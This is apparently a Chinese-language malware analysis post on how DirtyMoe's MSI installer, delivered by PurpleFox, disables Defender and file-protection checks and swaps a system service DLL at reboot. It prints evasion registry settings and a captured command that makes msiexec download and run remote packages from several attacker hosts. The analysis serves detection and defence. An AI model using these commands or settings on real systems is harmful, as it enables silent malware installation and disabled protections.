摘要
在中,我们从高层次的角度描述了一种名为DirtyMoe的复杂恶意软体。大部分捕获的样本为MSI安装包,这些安装包是通过PurpleFox漏洞利用工具包送到受害者的机器上。因此,在DirtyMoe系列的第四部分中,我们将专注于DirtyMoe的部署以及它如何应对不同版本Windows的各种问题。
为了了解MSI包在受害者机器上执行的内容,我们分析了MSI包的注册档和文件操作、安装程序的参数以及重启后的操作。我们还尝试将这些行为放入上下文中,以确定DirtyMoe部署中每个操作的目的。
DirtyMoe的MSI安装程序滥用了Windows系统事件通知服务(SENS)来部署DirtyMoe。该MSI安装程序的主要目标是用恶意负载替换SENS的系统DLL文件,并以合法服务的身份执行该负载。另一个关键点是配置反检测方法,以保持DirtyMoe低调行动。
DirtyMoe恶意软体对于每个目标Windows版本的安装文件和注册项目的位置需求不尽相同。由于MSI安装程序提供了一种方便的安装任意软体的方法,因此其使用似乎是一个合乎逻辑的选择。
1. 范围
我们记录了两个版本的MSI安装程序包分发DirtyMoe。这两个版本执行的操作非常相似,旨在成功部署DirtyMoe。主要的区别在于通过CAB文件交付恶意文件,旧版本的MSI包直接包含CAB文件,而新版本则需要CAB文件与包本身在同一位置。
单独的CAB文件使得管理需要部署的负载变得更加简单。此外,由于CAB文件可以在成功利用后下载,它还减小了主要利用负载的大小。
1.1 统一包(旧版本)
统一包的示例是SHA-256为:
5ef702036c5c3aa2d0b6d8650e20b2c5f55776c69eebf8c700f1770b56a35c35
包详细信息如下:
- 产品名称:
FONDQXIMSYHLISNDBCFPGGQDFFXNKBARIRJH
- 产品版本:
2.0.0.0
- 产品代码:
{80395032-1630-4C4B-A997-0A7CCB72C75B}
- 安装条件:
- 是Windows NT(不能安装在Windows 9x/ME上)
- 不是Windows XP SP2 x64或Windows Server 2003 SP2 x64
- 不是Windows XP/2003 RTM、Windows XP/2003 SP1、Windows XP SP2 x86
- 不是Windows NT 4.0
- 不是Windows 2000
- 不存在
SOFTWARE\SoundResearch\UpdaterLastTimeChecked3
且值为3
- 文件大小:2.36 MB
1.2 排除数据包(新版本)
新版本的MSI包由两个部分组成。第一部分是MSI包本身,第二部分是包含恶意负载的单独CAB文件。MSI包引用以下其中一个CAB文件:
M0011.cab
、M0021.cab
、M0031.cab
、M0041.cab
、M0051.cab
、M0061.cab
、M0071.cab
。CAB文件包含三个恶意文件,但每个CAB文件中只有一个文件(sysupdate.log)不同。关于文件操作的详细信息在第3节中描述。
新版本MSI包的示例是SHA-256为:
1233cc0b8f77213a229e64c6aa0e08bd18e075879734a18512b1990b6408764f
包详细信息如下:
- 产品名称:
CTH3VNU8KZHDXY6YYCF9YV8OXGPW3P2APZPL
- 产品版本:
2.0.0.0
- 产品代码:
{80395032-1630-4C4B-A997-0A7CCB72C75B}
- 安装条件:
- 是Windows NT(不能安装在Windows 9x/ME上)
- 不是Windows XP SP2 x64或Windows Server 2003 SP2 x64
- 不是Windows XP/2003 RTM、Windows XP/2003 SP1、Windows XP SP2 x86
- 不是Windows NT 4.0
- 不是Windows 2000
- 不存在
HKLM\SOFTWARE\Microsoft\DirectPlay8\Direct3D
- 不存在
HKCU\SOFTWARE\7-Zip\StayOnTop
- 文件大小:1.020 MB
注意: 产品名称 通常对于每个_.msi_文件是不同的。它是一个由36个大写字母组成的随机字符串。 产品代码 目前为止观察到的值是一样的。
2. 注册档操作
恶意软体作者通过MSI安装程序准备受害者的环境,使其处于适当状态。他们专注于禁用反间谍软件和文件保护功能。此外,MSI包使用一种系统配置来绕过Windows文件保护(WFP),以覆盖受保护的文件,尽管WFP应该防止替换关键的Windows系统文件[1]。
在MSI安装过程中,有几个注册档操作,但我们将仅描述最关键的注册项。
2.1 互斥锁
UpdaterLastTimeChecked
HKEY_LOCAL_MACHINE\SOFTWARE\SoundResearch\UpdaterLastTimeChecked[1-3]
其中一个恶意软体的注册项是UpdaterLastTimeChecked[x]
,其中_x_表示MSI安装程序执行的次数。每次安装该包时会创建一个条目。如果存在UpdaterLastTimeChecked3
,则不允许进行后续包的安装。这仅适用于旧版本的MSI包。
StayOnTop
HKEY_CURRENT_USER\SOFTWARE\7-Zip\StayOnTop = 1
这个注册档操作仅与新版本相关。7-Zip软件不支持始终置顶功能。因此,可以假设这个注册档条目作为安装包成功运行的标志。SentinelLabs发布的证据显示,该值的存在表明受害者的电脑已被PurpleFox入侵[2]。
Direct3D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectPlay8\Direct3D
DirtyMoe恶意软体的活动实例在此注册项中以加密形式存储设置和元数据。因此,如果该条目在系统注册表中存在,则将中止MSI安装。
2.2 反检测
DisableAntiSpyware
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\WindowsDefender\DisableAntiSpyware = 1
通过将DisableAntiSpyware
注册档键设置为1,可以禁用MicrosoftDefender防病毒。这样,如果系统没有第三方防病毒产品,则系统将无法保护恶意软体,包括间谍软体[3]。
SFCDisable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SFCDisable = 4
Windows文件保护(WFP)可以防止非系统应用程序替换关键的Windows系统文件,这可能会影响操作系统的完整性和稳定性。WFP通常在所有版本的Windows中默认启用[4]。
显然,DirtyMoe想要避免WFP检测系统文件的任何操作。因此,SFCDisable
值被设置为4,这样WFP被启用,但不会通过GUI弹出任何WFP操作的提示。这样一来,WFP虽然启用,但不会发出系统警报,且此设定仅适用于WindowsXP。
SFCScan
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SFCScan = 0
系统文件检查器(SFC)提供了扫描系统保护文件的能力。SFC验证文件版本,并如果检测到文件操作,则会将文件更新为正确的版本。此注册档操作有助于禁用SFC,从而保护被滥用的Windows服务。这一设定仅影响文件扫描,但WFP仍可启用。
SvcHostSplitThresholdInKB
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SvcHostSplitThresholdInKB
= 0xFFFFFFFF
关键的注册档操作控制系统启动以及某些设备配置方面。要了解SvcHostSplitThresholdInKB
注册项的主要目的,我们必须描述Windows服务的历史发展及通用主机进程。
在大多数情况下,Windows服务都是从动态链接库中运行,Windows通过通用主机进程(svchost.exe)执行这些库。每个主机进程可以加载更多的服务(DLL),作为一个进程中的线程运行。这是来自WindowsXP时代的历史遗留,当时系统内存资源紧张。系统使用少量的服务主机进程,这些进程承载所有Windows服务,以DLL文件形式呈现,因为创建和维护进程在内存方面的开销很大。
图1 例示了运行的服务和最大主机服务进程的详细信息。Windows XP创建了5个主机进程,按其目的进行分组,例如_LocalService_、
NetworkService_和_System 。PID1016是从内存使用量的角度看最大的进程,因为此进程承载了大约20个服务。这种方法节省了内存,但也使系统更加不稳定,因为如果一个服务崩溃,整个服务链都会因为被同一进程主机而被终止。
图1. Windows XP中的服务链
如今,没有必要将服务分组到几个进程中,这带来了正面的效果,包括提高系统稳定性和安全性,以及更容易的错误分析。现在通常情况下,服务不再共享进程;提供系统功能的微型程序都有专属的内存位置。如果svchost.exe进程崩溃,也不会再拖累整个服务链[5]。
Windows10引入了阈值SvcHostSplitThresholdInKB
,以确定何时创建服务作为常规进程。默认值为380,000,因此当系统内存少于3.5GB时使用分组服务模型。换句话说,增加阈值可以减少主机进程的数量,从而确定服务进程是否分开。
以Windows 10为例,如果该值设置为1,主机进程的数量约为70,而阈值设置为最大值(0xFFFFFFFF
)则主机进程的数量仅为26。
现在可以理解SvcHostSplitThresholdInKB
的最大值如何隐藏运行进程的细节。因此,恶意软体作者将阈值设置为最大值,以隐藏恶意服务在线程中的活动。结果,恶意服务在主机进程的某个线程中运行。因此,追踪和取证分析变得更加困难,因为svchost进程承载著许多其他服务,很难将系统活动归因于恶意服务。
2.3 负载传递
SMBDeviceEnabled
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled
= 0
为了防止通过EternalBlue漏洞传播其他恶意软体[6],MSI安装程序禁用SMB共享,有效关闭了Windows XP上的445端口。
AllowProtectedRenames 和 PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\AllowProtectedRenames
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\PendingFileRenameOperations
这些注册项也与WFP相关,因此对于恶意代码在受害者机器上的部署至关重要。其原理与MoveFileEx
函数中的MOVEFILE_DELAY_UNTIL_REBOOT标志[7]相同。换句话说,MSI安装程序定义了在重启后将哪个文件移动或删除,这是通过会话管理子系统(SMSS)来实现的[8]。
恶意软体作者滥用两个系统文件,针对Windows Vista及更新版本的是sens.dll
,而对于WindowsXP则是cscdll.dll
,详见第3节。因此,SMSS在系统重启后将关键系统文件替换为恶意的文件。
以下是Windows 7 32位版的PendingFileRenameOperations
值的示例:
`\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\winupdate32.log
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Ke583427.xsl
\??\C:\Windows\sysupdate.log
\??\C:\Windows\AppPatch\Ke583427.xsl`
3. 文件操作
DirtyMoe滥用系统服务,特别是被保护的服务DLL文件,其处理程序是开放的,因此不会在不重启系统的情况下更换这些文件。文件操作的第一阶段是从CAB文件中提取负载,第二阶段则是用提取出的CAB文件替换服务DLL文件。
3.1 文件提取
CAB文件通常包含三个负载文件。
winupdate32.log
和winupdate64.log
是代表DirtyMoe服务的恶意DLL。sysupdate.log
是一个加密的可执行文件,包含由DirtyMoe服务注入的默认DirtyMoe模组。
如果满足某个条件,MSI安装程序就会从CAB文件中提取并复制负载到指定的目的地,以下表格进行总结。
文件 | 目的地 | 条件
—|—|—
sysupdate.log | %windir% | 无
winupdate32.log | %windir% | NOT VersionNT64
winupdate64.log | %windir% | VersionNT64
如果所需的文件被提取到正确的位置,MSI安装程序将结束并静默等待系统重启。接下来的操作由SMSS执行。
3.2 文件替换
会话管理子系统(SMSS)确保根据PendingFileRenameOperations
注册项,替换受保护的系统文件为恶意文件;见第2.3节。事实上,MSI安装程序根据Windows版本调用重启后的文件操作,具体如下:
Windows XP
- 删除(如果存在)
%windir%\\AppPatch\\Acpcscdll.dll
- 将
%windir%\\system32\\cscdll.dll
移至%windir%\\AppPatch\\Acpcscdll.dll
- 将
%windir%\\winupdate32.log
移至%windir%\\system32\\cscdll.dll
- 删除(如果存在)
%windir%\\AppPatch\\Ke583427.xsl
- 将
%windir%\\sysupdate.log
移至%windir%\\AppPatch\\Ke583427.xsl
Windows Vista及更新版本
- 删除(如果存在)
%windir%\\AppPatch\\Acpsens.dll
- 将
%windir%\\system32\\sens.dll
移至%windir%\\AppPatch\\Acpsens.dll
- 将
%windir%\\winupdate64.log
移至%windir%\\system32\\sens.dll
- 删除(如果存在)
%windir%\\AppPatch\\Ke583427.xsl
- 将
%windir%\\sysupdate.log
移至%windir%\\AppPatch\\Ke583427.xsl
Windows XP和Windows Vista及更新版本的区别在于利用的宿主服务。WindowsXP使用的离线网路代理(cscdll.dll
)由winlogon.exe加载,运行在NT AUTHORITY\SYSTEM权限下。WindowsVista及更新版本提供系统事件通知服务(sens.dll
),同样在SYSTEM下运行。Ke583427.xsl
文件是默认的DirtyMoe模组,为加密形式。
简而言之,重启后的操作将DirtyMoeDLL潜入系统文件夹,被注册为系统中的合法服务名称。替换这类系统文件是可行的,因为这一过程由SMSS完成,而SMSS是由内核启动的首个用户模式进程。因此,系统DLL不会创建任何处理程序,WFP也尚未运行。最终,代表潜入的恶意DLL的恶意软体将以系统级权限启动,因为被滥用的服务已在Windows中被注册为合法服务。
4. 部署工作流程
如果PurpleFox成功利用受害者的机器,则以管理员权限运行MSI安装包。MSI安装程序提供多种选项来静默安装软体,因此不需要用户交互。尽管系统重启是应用所有变更所必要的,但MSI安装程序也支持延迟重启;因此,用户并未察觉到任何可疑的征兆。安装程序仅静默等待下一次系统重启。
以下是一种通过MSI安装程序静默运行安装的示例:
msiexec.exe /i <dirtymoe.msi> /qn /norestart
;其中/qn
设置UI级别为无UI。
在成功系统利用后,我们捕获到一个具体的MSI安装程序运行示例。
Cmd /c for /d %i in (60.164.191.22:19400 185.51.201.102:19836203.128.6.130:12315 58.220.24.47:13384 155.138.159.232:17445) do Msiexec /ihttp:\%i\0BC8EC41.moe \Q
这个投放器每分钟更迭五个不同的IP地址和端口;见DirtyMoe系列的第二节。对于每个IP地址,MSI安装程序都会以参数\Q
运行,因此如果请求的远程位置不可用或MSI文件不存在,安装程序不会通知用户有错误。部署过程因此在背景中静默进行。
MSI安装程序会设定第2节中定义的系统注册档,并将恶意文件复制到Windows文件夹中,详见第3节。随后的系统重启将安排包含_ServiceMain_的恶意DLL的代码执行,Windows作为SENS服务启动。考虑到恶意服务的复杂性,我们将在未来的博客文章中对其进行详细描述。
通常,MSI安装程序会将安装文件缓存在C:\Windows\Installer
中,以便于将来的更新、重新安装等。然而,DirtyMoe并不保留_.msi_的备份文件。安装程序仅创建一个关于恶意软体安装的哈希文件。该文件名的格式为SourceHash{<ProductCode>}
。最常见的GUID为:{80395032-1630-4C4B-A997-0A7CCB72C75B}
MSI安装程序的回滚脚本无法删除恶意软体,因为被部署的文件由SMSS移动,不在MSI安装程序的范畴内。
整个部署工作流程如图2 所示。
图 2.
DirtyMoe 部署工作流程
5. 结论
我们介绍了DirtyMoe恶意软体通过MSI安装程序的部署过程,这提供了一种支持多个配置以适应不同Windows版本的简单方法。MSI安装程序准备了所有必要的文件和配置,以成功部署恶意软体,并且还会清理备份和缓存文件。不过,还是存在一些征兆可以揭示DirtyMoe的安装情况。
系统重启后,会话管理器将用恶意DLL文件覆盖表示其中一个系统服务的文件。然后,系统启动相应的服务,从而加载包含默认DirtyMoe对象的恶意代码,该对象以合法服务的身份运行。
所有这些步骤在受害者机器上部署并运行DirtyMoe。在网络攻击链的观点下,关于DirtyMoe服务的详细信息和后续的安装操作将在未来的文章中介绍。
参考文献
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
标签:、
分享:XFacebook